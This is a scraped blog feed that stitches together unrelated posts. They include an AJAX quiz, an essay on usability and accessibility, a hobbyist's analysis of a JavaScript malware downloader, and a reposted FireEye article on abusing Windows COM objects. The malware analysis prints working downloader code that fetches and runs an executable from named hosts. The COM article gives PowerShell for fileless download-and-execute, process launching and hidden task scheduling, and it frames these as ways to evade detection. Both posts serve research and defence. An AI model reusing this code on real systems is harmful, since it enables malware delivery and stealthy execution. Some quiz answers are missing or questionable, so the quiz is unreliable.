AJAX MCQs 11. Can a call to the "send" method fire an error (assuming the user's browser supports the XMLHttpRequest Object and the "send" method )? A. Yes B. No Ans: B 12. ActiveX can be disabled via browser settings. A. True B. False Ans: A 13. The XMLHttpRequest object can be disabled via browser settings. A. True B. False Ans: B 14. Assuming that "xmlhttp" is a user-defined variable that carrys the Ajax requesting object, xmlhttp.status can carry a value of 4 after a successful request. A. True B. False Ans: B 15. The XMLHttpRequest object supports a method called "quit". A. True B. False Ans: B 16. Assuming that "xmlhttp" is a user-defined variable that carrys the Ajax requesting object, xmlhttp.status can carry a value of 0 after a successful request. A. True B. False Ans: B 17. The XMLHttpRequest object can be used on subdomain1.mysite.com to request a page located at subdomain2.mysite.com according to the specification. A. True B. False Ans: B 18. What combination of technologies gives AJAX its name? A. ASP and XAML B. Asynchronous JavaScript and XML C. Autonomic Computing and DHTML D. Atlas and XML Ans: B 19. Which one of these legendary Greek mythical figures or places is the code name for Microsoft's version of AJAX ? A. Oracle B. Atlas C. Hercules D. Delphi Ans: B 20. Which Web browser is the least optimized for Microsoft's version of AJAX? A. Firefox B. Opera C. Safari D. Internet Explorer Ans: C 21. Which one of these technologies is NOT used in AJAX? A. CSS B. DOM C. DHTML D. Flash Ans: D 22. AJAX comes in ____. A. 2003 B. 2005 C. 2004 D. 2006 Ans: B 23. AJAX made popular by A. Microsoft B. IBM C. Sun Microsystem D. Google Ans: D 24. AJAX based on A. JavaScript and XML B. JavaScript and Java C. VBScript and XML D. JavaScript and HTTP requests Ans: A 25. Using AJAX we can made our web page a. more interactive and faster b. easy to connect web page with server c. more dynamic Ans: A 26. What does the tag do? A. Enclose text to be displayed by non-JavaScript browsers. B. Prevents scripts on the page from executing. C. Describes certain low-budget movies. D. None of the above Ans: A 27. Why so JavaScript and Java have similar name? A. JavaScript is a stripped-down version of Java B. JavaScript's syntax is loosely based on Java's C. They both originated on the island of Java D. None of the above Ans: B 28. When a user views a page containing a JavaScript program, which machine actually executes the script? A. The User's machine running a Web browser B. The Web server C. A central machine deep within Netscape's corporate offices D. None of the above 29. _____ JavaScript is also called client-side JavaScript. A. Microsoft B. Navigator C. LiveWire D. Native Ans: B 30 _______ JavaScript is also called server-side JavaScript A. Microsoft B. Navigator C. LiveWire Ans: C AJAX Questions and Answers pdf Download Read the full article
0 notes
Text
Usability vs. Accessibility - Which Should Win?
Even though it's an admirable target to aim for, attaining accessibility standards compliance with optimum usability isn't necessarily viable. The two don't always play well together. Sure, well-formed, semantic HTML output and even out content structure will perform nearly all of the work for you in hitting the double objectives of accessibility and usability but occasionally there's a complication result.
If you would like to use rich interactive components to enhance the consumer experience and improve the possible efficacy of your design, you could find that you are also making the layout less accessible. Which are the queries that we ought to inquire when buying new feature for a site or web application? Listed here are some of mine.
"Can it impact accessibility?"
We need to learn if our new feature will have a negative effect on the accessibility of this content. This could be a result of user interactions e.g. clicking on a link, causing the page to fetch fresh content in the host, and integrating it into the middle of some present content. Non-visual browsers might not register the fact that this new content exists.
"Can we REALLY need this feature?"
If you can't warrant the interactive component as absolutely crucial, then there is not much point in wasting time and effort on creating something which will really hamper the value of your articles. Oftentimes you will feel a feature isn't strictly essential but provides your articles a competitive edge by making it stand out against the audience. That is fine; I have poured enough effort through the past few years into doing things simple as it was cool' to know that stagnation happens if you don't attempt to push the bounds from time to time.
"Can we make it available easily?"
Are there some existing methods that will enable us to construct the new feature and still retain the necessary degree of access? Looking for the path of least resistance is almost always a good exercise. If you find a remedy, you may need to compromise your feature's performance or the amount of accessibility slightly, however, the savings in effort and time may be worth it.
"How reachable does this have to be?"
From a purist point of view, this is blasphemy; all internet content ought to be available. From a business point of view, there may be a great case for not conforming to accessibility guidelines. A friend of mine worked on a web-marketing material for a large vehicle manufacturer. He told me that their position on web content accessibility had been"Blind people don't purchase cars". This looks callous at first glance, but when you consider it, the work necessary to make certain that all their web content is accessible to the blind is not worth the return they will get in terms of non-sighted clients. It will become unviable from a company perspective.
It is a fairly short-sighted view (if you will pardon the pun) as availability could expand to consumers accessing the information in mobile devices. Web capable cellular phones and PDAs are commonplace nowadays but when your content does not display correctly on a little screen, you could be shutting more potential users than simply people with a handicap.
"Do we need to do it properly?"
If you're concerned only with passing automatic entry tests then your work won't be that difficult as the anti-virus software cannot detect whether or not your generated div with XMLHTTP typed content is critical to using the site. A NOSCRIPT tag at the webpage will likely find that your page supports, but that is not really in the spirit of this thing is it?
What's the final score then?
"The delicate balance between accessibility and usability needs more thought. Right now I really don't find any replies, only a few questions, one potential principle, and potential danger. The rule is"Access should not confine usability"."
As a potential rule, this really is a nice starting point but can be just a little too neat and tidy considering the mass of complications and assumptions that it signifies. The issues of usability and accessibility in web design are, in my opinion, still too immature to back down with rules. Until we no longer have to make compromises involving our usability improvements and availability guidelines then we should evaluate each piece of material on its own values. You can browse the web for more information of UAT.
0 notes
Link
the main advantage of ajax is Independent of server technology, Apart from obtaining the XMLHTTP object, all processing is same for all browser types, because Javascript is used.
0 notes
Text
Firefox, Internet Explorer da XMLHTTP ile çalışmak
XML.com' dan Very Dynamic Web Interfaces makalesinde en basit şekilde hem Firefox / Mozilla' da hem de IE' de çalışan XMLHTTP istekleri yazma ile ilgili. Bu tip şeyleri kullanacaklara hemen bir öneri bunun sitenizin kullanımı için bir zorunluluk olmadığından emin olun, sadece ek bir "feature" olarak sunmanız mantıklı olur.
0 notes
Text
Trying javascript malware analysis
Hello Hello,
So tonight I’m kind of boring, I had to do some researching for my classes, and now I have nothing to do so I downloaded some javascript samples I found on github and chose one of them to analyze it.
https://github.com/HynekPetrak/javascript-malware-collection/blob/master/2016/20160103/20160103_a2f53e9442f130246f3b05ec505ce528.js
https://www.virustotal.com/gui/file/fcc56da3ae554e4fdbab6a85c580e050fcd465e383f3a2970ec7b3bed80f7e6a/detection
I opened the file using notepad++, and did beautification using this plugin, as I found that there’s a variable that contain the main code and it use the function eval to run the code, after one hour of manual de-obfuscation as I couldn’t find a tool to do so, I found that this is the obfuscation code: var b = "www.ronindesign.net portfolio.ronindesign.net scheibellaw.com".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"411492"; var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); var ld = 0; for (var n=1; n<=3; n++) { for (var i=ld; i<b.length; i++) { var dn = 0; try { xo.open("GET","http://"+b[i]+"/counter/?id="+a0+"&rnd=124606"+n, false); xo.send(); if (xo.status == 200) { xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 1000) { dn = 1; xa.position = 0; xa.saveToFile(fn+n+".exe",2); try { ws.Run(fn+n+".exe",1,0); } catch (er) { }; }; xa.close(); }; if (dn == 1) { ld = i; break; }; } catch (er) { }; }; };
So the malware is a simple downloader that checks 3 sites for an exe file and download it then run it. so simple, I didn’t learn much but I think I will try JS malware analysis again and again.
0 notes
Text
Original Post from FireEye Author: Charles Hamilton
COM objects have recently been used by penetration testers, Red Teams, and malicious actors to perform lateral movement. COM objects were studied by several other researchers in the past, including Matt Nelson (enigma0x3), who published a blog post about it in 2017. Some of these COM objects were also added to the Empire project. To improve the Red Team practice, FireEye performed research into the available COM objects on Windows 7 and 10 operating systems. Several interesting COM objects were discovered that allow task scheduling, fileless download & execute as well as command execution. Although not security vulnerabilities on their own, usage of these objects can be used to defeat detection based on process behavior and heuristic signatures.
What is a COM Object?
According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.”
COM was created in the 1990’s as language-independent binary interoperability standard which enables separate code modules to interact with each other. This can occur within a single process or cross-process, and Distributed COM (DCOM) adds serialization allowing Remote Procedure Calls across the network.
The term “COM Object” refers to an executable code section which implements one or more interfaces deriving from IUnknown. IUnknown is an interface with 3 methods, which support object lifetime reference counting and discovery of additional interfaces. Every COM object is identified by a unique binary identifier. These 128 bit (16 byte) globally unique identifiers are generically referred to as GUIDs. When a GUID is used to identify a COM object, it is a CLSID (class identifier), and when it is used to identify an Interface it is an IID (interface identifier). Some CLSIDs also have human-readable text equivalents called a ProgID.
Since COM is a binary interoperability standard, COM objects are designed to be implemented and consumed from different languages. Although they are typically instantiated in the address space of the calling process, there is support for running them out-of-process with inter-process communication proxying the invocation, and even remotely from machine to machine.
The Windows Registry contains a set of keys which enable the system to map a CLSID to the underlying code implementation (in a DLL or EXE) and thus create the object.
Methodology
The registry key HKEY_CLASSES_ROOTCLSID exposes all the information needed to enumerate COM objects, including the CLSID and ProgID. The CLSID is a globally unique identifier associated with a COM class object. The ProgID is a programmer-friendly string representing an underlying CLSID.
The list of CLSIDs can be obtained using the following Powershell commands in Figure 1.
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:CLSID -Name | Select -Skip 1 > clsids.txt
Figure 1: Enumerating CLSIDs under HKCR
The output will resemble Figure 2.
{0000002F-0000-0000-C000-000000000046} {00000300-0000-0000-C000-000000000046} {00000301-A8F2-4877-BA0A-FD2B6645FB94} {00000303-0000-0000-C000-000000000046} {00000304-0000-0000-C000-000000000046} {00000305-0000-0000-C000-000000000046} {00000306-0000-0000-C000-000000000046} {00000308-0000-0000-C000-000000000046} {00000309-0000-0000-C000-000000000046} {0000030B-0000-0000-C000-000000000046} {00000315-0000-0000-C000-000000000046} {00000316-0000-0000-C000-000000000046}
Figure 2:Abbreviated list of CLSIDs from HKCR
We can use the list of CLSIDs to instantiate each object in turn, and then enumerate the methods and properties exposed by each COM object. PowerShell exposes the Get-Member cmdlet that can be used to list methods and properties on an object easily. Figure 3 shows a PowerShell script to enumerate this information. Where possible in this study, standard user privileges were used to provide insight into available COM objects under the worst-case scenario of having no administrative privileges.
$Position = 1 $Filename = “win10-clsid-members.txt” $inputFilename = “clsids.txt” ForEach($CLSID in Get-Content $inputFilename) { Write-Output “$($Position) – $($CLSID)” Write-Output “————————” | Out-File $Filename -Append Write-Output $($CLSID) | Out-File $Filename -Append $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | Get-Member | Out-File $Filename -Append $Position += 1 }
Figure 3: PowerShell scriptlet used to enumerate available methods and properties
If you run this script, expect some interesting side-effect behavior such as arbitrary applications being launched, system freezes, or script hangs. Most of these issues can be resolved by closing the applications that were launched or by killing the processes that were spawned.
Armed with a list of all the CLSIDs and the methods and properties they expose, we can begin the hunt for interesting COM objects. Most COM servers (code implementing a COM object) are implemented in a DLL whose path is stored in the registry key e.g. under InprocServer32. This is useful because reverse engineering may be required to understand undocumented COM objects.
On Windows 7, a total of 8,282 COM objects were enumerated. Windows 10 featured 3,250 new COM objects in addition to those present on Windows 7. Non-Microsoft COM objects were generally omitted because they cannot be reliably expected to be present on target machines, which limits their usefulness to Red Team operations. Selected Microsoft COM objects from the Windows SDK were included in the study for purposes of targeting developer machines.
Once the members were obtained, a keyword-based search approach was used to quickly yield results. For the purposes of this research, the following keywords were used: execute, exec, spawn, launch, and run.
One example was the {F1CA3CE9-57E0-4862-B35F-C55328F05F1C} COM object (WatWeb.WatWebObject) on Windows 7. This COM object exposed a method named LaunchSystemApplication as shown in Figure 4.
Figure 4: WatWeb.WatWebObject methods including the interesting LaunchSystemApplication method
The InprocServer32 entry for this object was set to C:windowssystem32watwatweb.dll, which is part of Microsoft’s Windows Genuine Advantage product key validation system. The LaunchSystemApplication method expected three parameters, but this COM object was not well-documented and reverse engineering was required, meaning it was time to dig through some assembly code.
Once C:windowssystem32watwatweb.dll is loaded in your favorite tool (in this case, IDA Pro), it’s time to find where this method is defined. Luckily, in this case, Microsoft exposed debugging symbols, making the reverse engineering much more efficient. Looking at the disassembly, LaunchSystemApplication calls LaunchSystemApplicationInternal, which, as one might suspect, calls CreateProcess to launch an application. This is shown in the Hex-Rays decompiler pseudocode in Figure 5.
Figure 5: Hex-Rays pseudocode confirming that LaunchSystemApplicationInternal calls CreateProcessW
But does this COM object allow creation of arbitrary processes? The argument passed to CreateProcess is user-controlled and is derived from the arguments passed to the function. However, notice the call to CWgpOobWebObjectBaseT::IsApprovedApplication prior to the CreateProcess call. The Hex-Rays pseudocode for this method is shown in Figure 6.
Figure 6: Hex-Rays pseudocode for the IsApprovedApplication method
The user-controlled string is validated against a specific pattern. In this case, the string must match slui.exe. Furthermore, the user-controlled string is then appended to the system path, meaning it would be necessary to, for instance, replace the real slui.exe to circumvent the check. Unfortunately, the validation performed by Microsoft limits the usefulness of this method as a general-purpose process launcher.
In other cases, code execution was straightforward. For example, the ProcessChain Class with CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E} that is implemented in C:Program Files (x86)Windows Kits10App Certification Kitprchauto.dll. This COM class can be readily analyzed without looking at any disassembly listings, because prchauto.dll contains a TYPELIB resource containing a COM Type Library that can be viewed using Oleview.exe. Figure 7 shows the type library for ProcessChainLib, exposing a CommandLine property and a Start method. Start accepts a reference to a Boolean value.
Figure 7: Type library for ProcessChainLib as displayed in Interface Definition Language by Oleview.exe
Based on this, commands can be started as shown in Figure 8.
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID(“E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E”)) $handle.CommandLine = “cmd /c whoami” $handle.Start([ref]$True)
Figure 8: Using the ProcessChainLib COM server to start a process
Enumerating and examining COM objects in this fashion turned up other interesting finds as well.
Fileless Download and Execute
For instance, the COM object {F5078F35-C551-11D3-89B9-0000F81FE221} (Msxml2.XMLHTTP.3.0) exposes an XML HTTP 3.0 feature that can be used to download arbitrary code for execution without writing the payload to the disk and without triggering rules that look for the commonly-used System.Net.WebClient. The XML HTTP 3.0 object is usually used to perform AJAX requests. In this case, data fetched can be directly executed using the Invoke-Expression cmdlet (IEX).
The example in Figure 9 executes our code locally:
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID(“F5078F35-C551-11D3-89B9-0000F81FE221”)); $o.Open(“GET”, “http://127.0.0.1/payload”, $False); $o.Send(); IEX $o.responseText;
Figure 9: Fileless download without System.Net.WebClient
Task Scheduling
Another example is {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} which implements the Schedule.Service class for operating the Windows Task Scheduler Service. This COM object allows privileged users to schedule a task on a host (including a remote host) without using the schtasks.exe binary or the at command.
$TaskName = [Guid]::NewGuid().ToString() $Instance = [activator]::CreateInstance([type]::GetTypeFromProgID(“Schedule.Service”)) $Instance.Connect() $Folder = $Instance.GetFolder(“”) $Task = $Instance.NewTask(0) $Trigger = $Task.triggers.Create(0) $Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay)) $Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120)) $Trigger.ExecutionTimelimit = “PT5M” $Trigger.Enabled = $True $Trigger.Id = $Taskname $Action = $Task.Actions.Create(0) $Action.Path = “cmd.exe” $Action.Arguments = “/c whoami” $Action.HideAppWindow = $True $Folder.RegisterTaskDefinition($TaskName, $Task, 6, “”, “”, 3)
function Convert-Date {
param( [datetime]$Date
)
PROCESS { $Date.Touniversaltime().tostring(“u”) -replace ” “,”T” } }
Figure 10: Scheduling a task
Conclusion
COM objects are very powerful, versatile, and integrated with Windows, which means that they are nearly always available. COM objects can be used to subvert different detection patterns including command line arguments, PowerShell logging, and heuristic detections. Stay tuned for part 2 of this blog series as we will continue to look at hunting COM objects.
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Charles Hamilton Hunting COM Objects Original Post from FireEye Author: Charles Hamilton COM objects have recently been used by penetration testers, Red…
0 notes
Text
MSXML2.XMLHTTP.3.0でHTTPサーバからのヘッダを取得するには #VBScript - non vorrei lavorare [はてなブックマーク]
MSXML2.XMLHTTP.3.0でHTTPサーバからのヘッダを取得するには #VBScript - non vorrei lavorare
kjw_junichi windows, web
from kjw_junichiのブックマーク https://ift.tt/2w4W2L9
0 notes